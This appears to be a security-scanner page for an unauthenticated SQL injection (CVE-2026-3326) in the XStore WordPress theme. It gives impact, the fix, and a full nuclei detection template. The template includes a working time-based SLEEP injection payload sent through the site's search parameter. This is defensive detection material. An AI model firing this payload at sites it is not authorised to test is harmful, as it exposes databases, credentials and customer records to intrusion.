XStore Theme < 9.7.3 - SQL Injection

highseverity

8.6CVSS score

1.9%likelihood of exploitation, next 30 days

80%of all CVEs are less likely

Readycheck to confirm it

The Xstore WordPress theme before 9.7.3 does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection

Impact

Unauthenticated attackers can extract arbitrary data from the WordPress database, including credentials, session tokens, and WooCommerce customer records.

Fix

Update XStore theme to version 9.7.3 or later.

How to confirm it

Send: GET {{BaseURL}}/wp-content/themes/xstore/style.css
Positive when: contains "XStore" AND compare_versions(version, "< 9.7.3")
Send: @timeout: 20s
Positive when: duration >= 5 and status_code != 404

Run it with nuclei: nuclei -id CVE-2026-3326 -u <target>

The full check

id: CVE-2026-3326

info:
  name: XStore Theme < 9.7.3 - SQL Injection
  author: VixianSchool
  severity: high
  description: |
    The Xstore WordPress theme before 9.7.3 does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection
  impact: |
    Unauthenticated attackers can extract arbitrary data from the WordPress database, including credentials, session tokens, and WooCommerce customer records.
  remediation: |
    Update XStore theme to version 9.7.3 or later.
  reference:
    - https://wpscan.com/vulnerability/2c5bdb17-8b12-45b5-878b-627056dc8956/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-3326
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2026-3326
    epss-score: 0.01866
    epss-percentile: 0.79471
    cwe-id: CWE-89
  metadata:
    max-request: 2
    verified: true
  tags: cve,cve2026,wordpress,wp,wp-theme,sqli,xstore,vkev

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/themes/xstore/style.css"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "XStore"
        internal: true

      - type: dsl
        dsl:
          - 'compare_versions(version, "< 9.7.3")'
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - 'Version:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        @timeout: 20s
        GET /?s=test%27)%20AND%20(SELECT%208039%20FROM%20(SELECT(SLEEP(5)))HQgJ)%20AND%20(%27hyMm%27=%27hyMm&et_search=true&post_type=product HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 5'
          - 'status_code != 404'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from